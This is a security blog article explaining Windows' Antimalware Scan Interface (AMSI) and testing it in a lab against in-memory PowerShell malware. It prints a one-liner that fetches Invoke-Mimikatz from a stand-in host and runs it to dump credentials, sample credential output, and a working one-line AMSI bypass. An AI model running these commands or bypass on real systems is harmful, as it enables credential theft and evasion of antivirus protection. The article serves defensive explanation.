Script-based languages such as PowerShell, VBScript or JScript in Microsoft Windows are usually easy prey for hackers. These scripting languages are integrated into the operating system, have a powerful range of functions and are also used to perform legitimate tasks. As a result, PowerShell has become a popular tool for hackers, because it is very effective and was long considered hard to detect. Some antivirus solutions are now able to identify known PowerShell malware, although only scripts that are written to the hard disk are detected. Scripts that are executed directly from the memory are beyond the control of antivirus solutions. Microsoft’s introduction of the Antimalware Scan Interface (AMSI) is designed to change this.

What is AMSI?

Microsoft describes the Antimalware Scan Interface (AMSI) as a generic standard interface that allows application and services to interact with the antivirus solutions installed on the system. AMSI provides applications with the common techniques of an antivirus solution, such as scanning the hard drive and memory and analyzing content based on URL and IP address reputation checks. AMSI can also scan scripts that use tactics to conceal malicious code or layers of dynamic code. In the article Windows 10 to offer application developers new malware defenses, Microsoft software engineer Lee Holmes explains how the function then uses the AMSI API to scan the code when it is passed in plaintext form to the scripting engine. If, for example, a script uses Base64 encoding as a concealment tactic, AMSI performs the scan for potentially malicious code again after decoding the Base64 payload.

Microsoft’s native antivirus solution in Windows 10, Windows Defender, supports AMSI. Version 5 of PowerShell also includes support for AMSI. In Windows 10, the respective antivirus solution uses AMSI to scan the content of PowerShell script – provided the solution already uses AMSI.

AMSI in Action

We tested AMSI in our lab environment on Windows Server 2016. As a control experiment, Windows Defender was disabled and the PowerShell script Invoke-Mimikatz.ps1 was loaded from a web page and executed using Invoke-Expression:

PS C:\> Invoke-Expression ((New-Object Net.Webclient).DownloadString("https://malware.example.org/Invoke-Mimikatz.ps1")); Invoke-Mimikatz -Dumpcreds

  .#####.   mimikatz 2.1.1 (x64) built on Jul 20 2017 01:35:38
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 21 modules * * */

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 3360624 (00000000:00334770)
Session           : RemoteInteractive from 2
User Name         : adm_mreynolds
Domain            : LABS
Logon Server      : DC01
Logon Time        : 27.12.2017 08:07:24
SID               : S-1-5-21-3685327493-4069616680-3530608807-1105
        msv :
         [00000003] Primary
         * Username : adm_mreynolds
         * Domain   : LABS
         * NTLM     : 31d6cfe0d16ae931b73c59d7e0c089c0
         * SHA1     : da39a3ee5e6b4b0d3255bfef95601890afd80709		 
         * DPAPI    : 6667bd7c8c3dfef7a50b973a1acdec2d
        tspkg :
        wdigest :
         * Username : adm_mreynolds
         * Domain   : LABS
         * Password : (null)
        kerberos :
         * Username : adm_mreynolds
         * Domain   : LABS.SCIP.CH
         * Password : (null)
        ssp :
        credman :

As expected, Invoke-Mimikatz was executed without any trouble. Then Windows Defender was enabled and the test performed again. This time the execution failed and invoke Mimikatz was blocked by Windows Defender. The relevant event log entry indicates that AMSI is the source of the discovery:

Windows Defender has detected malware or other potentially unwanted software.
 For more information please see the following:
http://go.microsoft.com/fwlink/?linkid=37020&name=HackTool:Win32/Mikatz!dha&threatid=2147706304&enterprise=0
    Name: HackTool:Win32/Mikatz!dha
    ID: 2147706304
    Severity: High
    Category: Tool
    Path: amsi:_PowerShell_C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe_10.0.14393.00000000000000004
    Detection Origin: Unknown
    Detection Type: Concrete
    Detection Source: AMSI
    User: LABS\adm_hwashburne
    Process Name: Unknown
    Signature Version: AV: 1.259.809.0, AS: 1.259.809.0, NIS: 118.2.0.0
    Engine Version: AM: 1.1.14405.2, NIS: 2.1.14202.0

Before the introduction of AMSI, Windows Defender could detect Invoke-Mimikatz.ps1 only if the file was written to the disk. However, it was possible to subvert Windows Defender when executing it from the memory.

Getting around AMSI

As with any other security measure, there are also ways to get around AMSI. If, for example, PowerShell version 2 is executed on the respective system, the AMSI integration will be missing from PowerShell and the executable code is not scanned. Since AMSI also uses a signature-based approach, a significant change can potentially prevent discovery of detected malware scripts.

Another method is to disable AMSI with the PowerShell cmdlet Set-MpPreference; for example, as Nikhil Mittal explains in his presentation AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It. This disables Windows Defender’s real-time detection, an operation that requires administrator rights.

The command [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) disables AMSI for the current process. The AMSI bypass was discovered by Matt Graeber and does not require any administrative rights. In both cases, the executed operation or the deactivation is detected by monitoring the PowerShell and event logs.

Conclusion

Microsoft’s introduction of the Antimalware Scan Interface closes a gap that until now has been exploited by use of script-based languages. The combination of script block logging, Constrained Language Mode and AMSI allows PowerShell to be monitored and controlled in such a way that it is no longer lucrative for hackers. Microsoft has also included AMSI support in Office, so that macros can be scanned for known malware. AMSI provides a good way for application developers and makers of antivirus solutions to proactively prevent the spread of script-based malicious code in Windows.

About the Author

Michael Schneider has been in IT since 2000. Since 2010 he is focused on information security. He is an expert at penetration testing, hardening and the detection of vulnerabilities in operating systems. He is well-known for a variety of tools written in PowerShell to find, exploit, and mitigate weaknesses. (ORCID 0000-0003-0772-9761)

Links

• https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/
• https://blogs.technet.microsoft.com/mmpc/2015/06/09/windows-10-to-offer-application-developers-new-malware-defenses/
• https://msdn.microsoft.com/en-us/library/windows/desktop/dn889587%28v=vs.85%29.aspx
• https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
• https://support.office.com/en-us/article/Malicious-macros-were-found-9e461c61-69d1-4ea9-a386-9ad0deaccfdd
• https://twitter.com/Lee_Holmes
• https://twitter.com/mattifestation
• https://twitter.com/mattifestation/status/735261176745988096
• https://twitter.com/nikhil_mitt
• https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf